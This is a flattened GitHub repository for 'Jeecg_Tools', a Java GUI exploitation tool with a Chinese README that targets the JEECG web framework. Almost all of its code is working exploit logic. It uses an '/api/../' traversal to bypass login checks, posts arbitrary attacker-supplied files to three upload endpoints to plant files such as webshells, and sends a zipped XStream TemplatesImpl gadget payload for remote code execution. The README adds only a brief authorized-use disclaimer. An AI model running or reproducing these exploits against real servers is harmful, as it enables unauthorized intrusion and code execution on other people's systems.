Repository: K-7H7l/Jeecg_Tools Branch: main Commit: a8694cc28bb4 Files: 23 Total size: 10.4 MB Directory structure: gitextract_yojn6ymm/ ├── README.md ├── pom.xml ├── src/ │ └── main/ │ ├── java/ │ │ └── com/ │ │ └── example/ │ │ └── jeecg_tools/ │ │ ├── HelloApplication.java │ │ ├── HelloController.java │ │ ├── MainRunner.java │ │ ├── common/ │ │ │ └── BasePayload.java │ │ ├── entity/ │ │ │ └── Result.java │ │ ├── exploit/ │ │ │ ├── JEECG_XstreamInject.java │ │ │ ├── JEECG_commonUpload.java │ │ │ ├── JEECG_iconUpload.java │ │ │ ├── JEECG_jeecgFormDemo.java │ │ │ └── JEECG_unauthorized.java │ │ └── util/ │ │ ├── ExppList.java │ │ └── Tools.java │ └── resources/ │ ├── META-INF/ │ │ └── MANIFEST.MF │ └── com/ │ └── example/ │ └── jeecg_tools/ │ └── hello-view.fxml └── target/ ├── Jeecg_Tools-1.0-SNAPSHOT-jar-with-dependencies.jar ├── Jeecg_Tools-1.0-SNAPSHOT.jar ├── classes/ │ ├── META-INF/ │ │ └── MANIFEST.MF │ └── com/ │ └── example/ │ └── jeecg_tools/ │ └── hello-view.fxml ├── maven-archiver/ │ └── pom.properties └── maven-status/ └── maven-compiler-plugin/ └── compile/ └── default-compile/ ├── createdFiles.lst └── inputFiles.lst ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ ## 介绍 **本工具为jeecg框架漏洞利用工具非jeecg-boot!** **包含poc:** - **登录绕过检测** - **jeecgFormDemo文件上传** - **common文件上传** - **icon文件上传** - **Xstream反序列化** ## 使用 **运行于jdk8环境** ```shell java -jar Jeecg_Tools-1.0-java8.jar ``` ![image-20240807235234773](https://raw.githubusercontent.com/K-7H7l/Jeecg_Tools/main/sc_20240808001746.png) ## 参考 [ThinkphpGUI](https://github.com/Lotus6/ThinkphpGUI) https://mp.weixin.qq.com/s/kLJLXc_tn1mrClweaX2bkw https://mp.weixin.qq.com/s/mV4GNI9O4a1pT3ve3Mt75Q ## 声明 本工具仅能在取得足够合法授权的企业安全建设中使用,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为,您将自行承担所有后果,本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 ================================================ FILE: pom.xml ================================================ 4.0.0 com.example Jeecg_Tools 1.0-SNAPSHOT Jeecg_Tools UTF-8 UTF-8 5.8.1 org.openjfx javafx-controls 11.0.2 org.openjfx javafx-fxml 11.0.2 org.junit.jupiter junit-jupiter-api ${junit.version} test cn.hutool hutool-all 5.8.29 org.junit.jupiter junit-jupiter-engine ${junit.version} test org.apache.maven.plugins maven-compiler-plugin 3.8.1 11 11 maven-assembly-plugin 2.5.5 com.example.jeecg_tools.MainRunner jar-with-dependencies ================================================ FILE: src/main/java/com/example/jeecg_tools/HelloApplication.java ================================================ package com.example.jeecg_tools; import cn.hutool.http.GlobalHeaders; import javafx.application.Application; import javafx.fxml.FXMLLoader; import javafx.scene.Scene; import javafx.stage.Stage; import java.io.IOException; public class HelloApplication extends Application { @Override public void start(Stage stage) throws IOException { FXMLLoader fxmlLoader = new FXMLLoader(HelloApplication.class.getResource("hello-view.fxml")); Scene scene = new Scene(fxmlLoader.load(), -1, -1); scene.getRoot().setStyle("-fx-font-family: 'serif'"); stage.setTitle("Jeecg-exp-GUI"); stage.setScene(scene); stage.show(); } // public static void main(String[] args) { // launch(); // } } ================================================ FILE: src/main/java/com/example/jeecg_tools/HelloController.java ================================================ package com.example.jeecg_tools; import cn.hutool.http.HttpResponse; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; import com.example.jeecg_tools.util.ExppList; import com.example.jeecg_tools.util.Tools; import javafx.fxml.FXML; import cn.hutool.http.HttpRequest; import javafx.scene.control.Button; import javafx.scene.control.CheckBox; import javafx.scene.control.ComboBox; import javafx.scene.control.TextArea; import javafx.scene.input.MouseEvent; import javafx.scene.control.Alert; import cn.hutool.http.GlobalHeaders; import java.time.LocalDate; import java.util.List; public class HelloController { //Alert alert = new Alert(Alert.AlertType.INFORMATION); @FXML private CheckBox CheckHEAD_; @FXML private TextArea FileContent_; @FXML private TextArea FileName_; @FXML private Button FileUpload_; @FXML private TextArea OutPath_; @FXML private TextArea URL_; @FXML private Button Vulcheck_; @FXML private TextArea INFO_; @FXML private TextArea XsContent_; @FXML private TextArea XsFilename_; @FXML private TextArea XsXsOut_; @FXML private Button Inject_; @FXML private TextArea HEAD_; @FXML private ComboBox comboBox; Alert alert = new Alert(Alert.AlertType.INFORMATION); public void initialize() { XsFilename_.setText(LocalDate.now()+".zip"); this.comboBox.setValue("ALL"); this.comboBox.getItems().add("ALL"); this.comboBox.getItems().addAll(ExppList.get_exp()); this.CheckHEAD_.setSelected(false); } @FXML void Cookie_(MouseEvent event) { if(this.CheckHEAD_.isSelected()){ String header = HEAD_.getText(); if(!header.isEmpty()){ String hea = header.trim(); int index = hea.indexOf(":"); if (index == -1) { this.alert.setTitle("提示:"); this.alert.setHeaderText(null); this.alert.setContentText("请求头格式错误!"); this.alert.showAndWait(); return; } String mapk = hea.substring(0,index); String mapv = hea.substring(index+1); GlobalHeaders.INSTANCE.clearHeaders(); GlobalHeaders.INSTANCE.header(mapk,mapv); } }else{ GlobalHeaders.INSTANCE.clearHeaders(); } } @FXML void Inject(MouseEvent event) throws Exception { this.Cookie_(event); String url = URL_.getText(); String filename = XsFilename_.getText(); String payload = XsContent_.getText(); BasePayload bp = Tools.getPayload("JEECG Xstream反序列化"); Result vul = bp.Inject(url, filename, payload); if (vul.isRes()) { XsXsOut_.setText("[+] 已尝试注入,请访问!"); } else { XsXsOut_.setText("[-] 注入失败!"+vul.getPayload()+vul.getVuln()); } } @FXML void FileUpload(MouseEvent event) throws Exception { this.Cookie_(event); String url = URL_.getText(); String version = comboBox.getSelectionModel().getSelectedItem(); if (!version.contains("文件上传")){ this.alert.setTitle("提示:"); this.alert.setHeaderText(null); this.alert.setContentText("请选择上传类漏洞!"); this.alert.showAndWait(); return; } String filename = FileName_.getText(); String filecontent = FileContent_.getText(); BasePayload bp = Tools.getPayload(version); Result vul = bp.fileUpload(url, filename, filecontent); if (vul.isRes()) { OutPath_.setText("[+] 文件上传成功:" + url + "/" + vul.getVuln()); } else { OutPath_.setText("[-] 文件上传失败!"); } } @FXML void VulCheck(MouseEvent event) throws Exception { this.Cookie_(event); String url = URL_.getText(); try { HttpRequest res = HttpRequest.get(url); HttpResponse execute = res.execute(); System.out.println(execute.body()); }catch (Exception e){ INFO_.setText("[-] 访问:" + new String(URL_.getText())+"失败!\n\n" + e); return; } String version = comboBox.getSelectionModel().getSelectedItem(); if(version == "ALL"){ INFO_.setText(""); List explist = ExppList.get_exp(); for (int i = 0; i < explist.size(); i++) { BasePayload bp = Tools.getPayload(explist.get(i)); Result vul = bp.checkVUL(url); if(vul.isRes()){ INFO_.appendText("[+] 存在接口:"+explist.get(i)+",请尝试漏洞利用!\n\n访问URL:"+vul.getPayload()+"\n\n"+"-------------------------------\n\n\n"); }else{ INFO_.appendText("[-] 不存在漏洞:"+explist.get(i)+"\n\n访问URL:"+vul.getPayload()+"\n\n请尝试登录后利用!"+"\n\n"+"-------------------------------\n\n\n"); } } return; } BasePayload bp = Tools.getPayload(version); Result vul = bp.checkVUL(url); if(vul.isRes()){ INFO_.setText("[+] 存在接口:"+version+",请尝试漏洞利用!\n\n访问URL:"+vul.getPayload()+"\n\n"+"返回包:" + vul.getVuln()); }else{ INFO_.setText("[-] 不存在漏洞:"+version+"\n\n访问URL:"+vul.getPayload()+"\n\n"+"返回包:" + vul.getVuln()); } } @FXML void onCleanlog(MouseEvent event) { INFO_.setText(""); } } ================================================ FILE: src/main/java/com/example/jeecg_tools/MainRunner.java ================================================ package com.example.jeecg_tools; public class MainRunner { public static void main(String[] args) { HelloApplication.launch(HelloApplication.class); } } ================================================ FILE: src/main/java/com/example/jeecg_tools/common/BasePayload.java ================================================ package com.example.jeecg_tools.common; import com.example.jeecg_tools.entity.Result; public interface BasePayload { Result checkVUL(String str) throws Exception; Result exeVUL(String str,String str2) throws Exception; Result getShell(String str) throws Exception; Result fileUpload(String str, String filename,String filecontent) throws Exception; Result Inject(String url,String xsfilename,String payload) throws Exception; } ================================================ FILE: src/main/java/com/example/jeecg_tools/entity/Result.java ================================================ package com.example.jeecg_tools.entity; public class Result { boolean res; String payload; String vuln; public boolean isRes() { return res; } public void setRes(boolean res) { this.res = res; } public String getPayload() { return payload; } public void setPayload(String payload) { this.payload = payload; } public String getVuln() { return vuln; } public void setVuln(String vuln) { this.vuln = vuln; } public Result(boolean res, String payload, String vuln) { this.res = res; this.payload = payload; this.vuln = vuln; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_XstreamInject.java ================================================ package com.example.jeecg_tools.exploit; import cn.hutool.http.HttpResponse; import cn.hutool.http.Method; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; import java.io.*; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; public class JEECG_XstreamInject implements BasePayload { @Override public Result checkVUL(String str) throws Exception { String payload = str+"/api/../cgformSqlController.do?doMigrateIn"; try { cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload); req.method(Method.GET); HttpResponse execute = req.execute(); String reqbody = execute.body(); if (execute.getStatus()==200){ return new Result(true,payload, reqbody); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,payload,null); } @Override public Result exeVUL(String str, String str2) throws Exception { return null; } @Override public Result getShell(String str) throws Exception { return null; } @Override public Result fileUpload(String str, String filename, String filecontent) throws Exception { return null; } @Override public Result Inject(String url, String xsfilename, String payload) throws Exception { byte[] zipBytes; String uri = url+"/api/../cgformSqlController.do?doMigrateIn"; System.out.println("inject"); String head = "\n" + " \n" + " map\n" + " \n" + " \n" + " \n" + " true\n" + " java.lang.Object\n" + " \n" + " \n" + " \n" + " java.lang.Object\n" + " hashCode\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " <__name>Pwnr\n" + " <__bytecodes>\n" + " "; String tail = "\n" + " \n" + " <__transletIndex>-1\n" + " <__indentNumber>0\n" + " \n" + " false\n" + " \n" + " \n" + " \n" + " com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\n" + " getOutputProperties\n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + " \n" + ""; try { String Payload = head+payload+tail; // 创建一个字节数组输出流,用于存储ZIP文件内容 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 创建ZIP输出流 ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream); // 创建一个XML文件内容 byte[] xmlBytes = Payload.getBytes(); // 创建一个ZIP条目(相当于ZIP文件中的一个文件) ZipEntry zipEntry = new ZipEntry("1.xml"); zipOutputStream.putNextEntry(zipEntry); // 写入XML文件内容到ZIP条目 zipOutputStream.write(xmlBytes,0,xmlBytes.length); zipOutputStream.closeEntry(); zipOutputStream.close(); zipBytes= byteArrayOutputStream.toByteArray(); }catch(IOException e){ return new Result(false,"出现错误!", String.valueOf(e)); } try{ cn.hutool.http.HttpRequest httpRequest = new cn.hutool.http.HttpRequest(uri); httpRequest.setMethod(Method.POST); httpRequest.form("file",zipBytes,xsfilename); HttpResponse rep = httpRequest.execute(); int startcode = rep.getStatus(); String reqbody = rep.body(); if (startcode==200 && reqbody.contains("converters")){ return new Result(true,null, null); }else{ return new Result(false,"返回内容:\n\n", reqbody); } }catch (Exception e){ e.printStackTrace(); } return null; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_commonUpload.java ================================================ package com.example.jeecg_tools.exploit; import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpResponse; import cn.hutool.http.Method; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; public class JEECG_commonUpload implements BasePayload { @Override public Result Inject(String url, String xsfilename, String payload) throws Exception { return null; } @Override public Result checkVUL(String str) throws Exception { String payload = str+"/api/../commonController.do?parserXml"; try { HttpResponse req = HttpRequest.get(payload).execute(); String reqbody = req.body(); if (req.getStatus()==200){ return new Result(true,payload, reqbody); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,payload,null); } @Override public Result exeVUL(String str, String str2) throws Exception { return null; } @Override public Result getShell(String str) throws Exception { return null; } @Override public Result fileUpload(String str, String filename, String filecontent) throws Exception { String payload = str+"/api/../commonController.do?parserXml"; byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8); Map map = new HashMap<>(); map.put("name",filename); map.put("documentTitle","blank"); try{ HttpRequest httpRequest = new HttpRequest(payload); httpRequest.setMethod(Method.POST); httpRequest.form(map); httpRequest.form("file",fileContentByte,filename); HttpResponse rep = httpRequest.execute(); int startcode = rep.getStatus(); String reqbody = rep.body(); if (startcode==200 && reqbody.contains("true")){ return new Result(true,null, filename); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,null,null); } } ================================================ FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_iconUpload.java ================================================ package com.example.jeecg_tools.exploit; import cn.hutool.http.HttpResponse; import cn.hutool.http.HttpRequest; import cn.hutool.http.Method; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; public class JEECG_iconUpload implements BasePayload { @Override public Result checkVUL(String str) throws Exception { String payload = str+"/api/../iconController.do?saveOrUpdateIcon"; try { HttpResponse req = HttpRequest.get(payload).execute(); String reqbody = req.body(); if (req.getStatus()==200){ return new Result(true,payload, reqbody); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,payload,null); } @Override public Result exeVUL(String str, String str2) throws Exception { return null; } @Override public Result getShell(String str) throws Exception { return null; } @Override public Result fileUpload(String str, String filename,String filecontent) throws Exception { String payload = str+"/api/../iconController.do?saveOrUpdateIcon"; byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8); Map map = new HashMap<>(); map.put("iconType",""); map.put("iconName",""); try{ HttpRequest httpRequest = new HttpRequest(payload); httpRequest.setMethod(Method.POST); httpRequest.form(map); httpRequest.form("file",fileContentByte,filename); HttpResponse rep = httpRequest.execute(); int startcode = rep.getStatus(); String reqbody = rep.body(); if (startcode==200 && reqbody.contains("true")){ return new Result(true,null, "/plug-in/accordion/images/"+filename); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,null,null); } @Override public Result Inject(String url, String xsfilename, String payload) throws Exception { return null; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_jeecgFormDemo.java ================================================ package com.example.jeecg_tools.exploit; import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpResponse; import cn.hutool.http.Method; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map; public class JEECG_jeecgFormDemo implements BasePayload { @Override public Result checkVUL(String str) throws Exception { String payload = str+"/api/../jeecgFormDemoController.do?saveFiles"; try { HttpResponse req = HttpRequest.get(payload).execute(); String reqbody = req.body(); if (req.getStatus()==200){ return new Result(true,payload, reqbody); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,payload,null); } @Override public Result exeVUL(String str, String str2) throws Exception { return null; } @Override public Result getShell(String str) throws Exception { return null; } @Override public Result fileUpload(String str, String filename,String filecontent) throws Exception { String payload = str+"/api/../jeecgFormDemoController.do?saveFiles"; byte[] fileContentByte = filecontent.getBytes(StandardCharsets.UTF_8); Map map = new HashMap<>(); map.put("name",""); map.put("documentTitle",""); try{ HttpRequest httpRequest = new HttpRequest(payload); httpRequest.setMethod(Method.POST); httpRequest.form(map); httpRequest.form("file",fileContentByte,filename); HttpResponse rep = httpRequest.execute(); int startcode = rep.getStatus(); String reqbody = rep.body(); JSONObject jsonrep = JSONUtil.parseObj(reqbody); String sitefile =jsonrep.getByPath("attributes.url").toString(); if (startcode==200 && !sitefile.isEmpty()){ return new Result(true,null, sitefile); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,null,null); } @Override public Result Inject(String url, String xsfilename, String payload) throws Exception { return null; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/exploit/JEECG_unauthorized.java ================================================ package com.example.jeecg_tools.exploit; import cn.hutool.http.HttpResponse; import cn.hutool.http.Method; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.entity.Result; public class JEECG_unauthorized implements BasePayload { @Override public Result checkVUL(String str) throws Exception { String payload = str+"/api/../systemController.do?typeGroupTabs"; try { cn.hutool.http.HttpRequest req = new cn.hutool.http.HttpRequest(payload); req.method(Method.GET); HttpResponse rep =req.execute(); String reqbody = rep.body(); if (rep.getStatus()==200){ return new Result(true,payload, reqbody); } }catch (Exception e){ e.printStackTrace(); } return new Result(false,payload,null); } @Override public Result exeVUL(String str, String str2) throws Exception { return null; } @Override public Result getShell(String str) throws Exception { return null; } @Override public Result fileUpload(String str, String filenmae, String filecontent) throws Exception { return null; } @Override public Result Inject(String url, String xsfilename, String payload) throws Exception { return null; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/util/ExppList.java ================================================ package com.example.jeecg_tools.util; import java.util.ArrayList; import java.util.List; public class ExppList { public static List get_exp() { List list = new ArrayList<>(); list.add("JEECG 登录绕过"); list.add("JEECG jeecgFormDemo文件上传"); list.add("JEECG common文件上传"); list.add("JEECG icon文件上传"); list.add("JEECG Xstream反序列化"); return list; } } ================================================ FILE: src/main/java/com/example/jeecg_tools/util/Tools.java ================================================ package com.example.jeecg_tools.util; import com.example.jeecg_tools.common.BasePayload; import com.example.jeecg_tools.exploit.*; import java.net.Authenticator; import java.util.HashMap; import java.util.Map; import java.net.ProxySelector; public class Tools { private static final MappayloadMap =new HashMap<>(); static { payloadMap.put("JEECG 登录绕过",new JEECG_unauthorized()); payloadMap.put("JEECG icon文件上传",new JEECG_iconUpload()); payloadMap.put("JEECG jeecgFormDemo文件上传",new JEECG_jeecgFormDemo()); payloadMap.put("JEECG common文件上传",new JEECG_commonUpload()); payloadMap.put("JEECG Xstream反序列化",new JEECG_XstreamInject()); } public static BasePayload getPayload(String select){ return payloadMap.get(select); } } ================================================ FILE: src/main/resources/META-INF/MANIFEST.MF ================================================ Manifest-Version: 1.0 Main-Class: com.example.jeecg_tools.HelloApplication ================================================ FILE: src/main/resources/com/example/jeecg_tools/hello-view.fxml ================================================